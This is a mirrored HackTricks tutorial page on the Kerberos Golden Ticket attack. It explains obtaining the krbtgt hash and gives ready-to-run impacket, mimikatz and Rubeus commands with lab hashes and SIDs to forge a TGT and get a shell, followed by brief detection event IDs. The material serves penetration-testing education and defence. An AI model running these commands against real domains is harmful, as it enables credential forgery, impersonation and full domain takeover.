mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 10:33:36 +00:00
37 lines
2.1 KiB
Markdown
37 lines
2.1 KiB
Markdown
|
# Golden Ticket
|
|||
|
|
|
|||
|
|
## Golden ticket
|
|||
|
|
|
|||
|
|
A valid **TGT as any user** can be created **using the NTLM hash of the krbtgt AD account**. The advantage of forging a TGT instead of TGS is being **able to access any service** \(or machine\) in the domain and the impersonated user.
|
|||
|
|
|
|||
|
|
The **krbtgt** account **NTLM hash** can be **obtained** from the **lsass process** or from the **NTDS.dit file** of any DC in the domain. It is also possible to get that NTLM through a **DCsync attack**, which can be performed either with the [lsadump::dcsync](https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump) module of Mimikatz or the impacket example [secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py). Usually, **domain admin privileges or similar are required**, no matter what technique is used.
|
|||
|
|
|
|||
|
|
{% code title="From Linux" %}
|
|||
|
|
```bash
|
|||
|
|
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
|
|||
|
|
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
|
|||
|
|
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
|
|||
|
|
```
|
|||
|
|
{% endcode %}
|
|||
|
|
|
|||
|
|
{% code title="From Windows" %}
|
|||
|
|
```bash
|
|||
|
|
mimikatz # kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
|
|||
|
|
.\Rubeus.exe ptt /ticket:ticket.kirbi
|
|||
|
|
klist #List tickets in memory
|
|||
|
|
```
|
|||
|
|
{% endcode %}
|
|||
|
|
|
|||
|
|
**Once** you have the **golden Ticket injected**, you can access the shared files **\(C$\)**, and execute services and WMI, so you could use **psexec** or **wmiexec** to obtain a shell \(looks like yo can not get a shell via winrm\).
|
|||
|
|
|
|||
|
|
### Mitigation
|
|||
|
|
|
|||
|
|
Golden ticket events ID:
|
|||
|
|
|
|||
|
|
* 4624: Account Logon
|
|||
|
|
* 4672: Admin Logon
|
|||
|
|
* `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property`
|
|||
|
|
|
|||
|
|
\*\*\*\*[**More information about Golden Ticket in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)\*\*\*\*
|
|||
|
|
|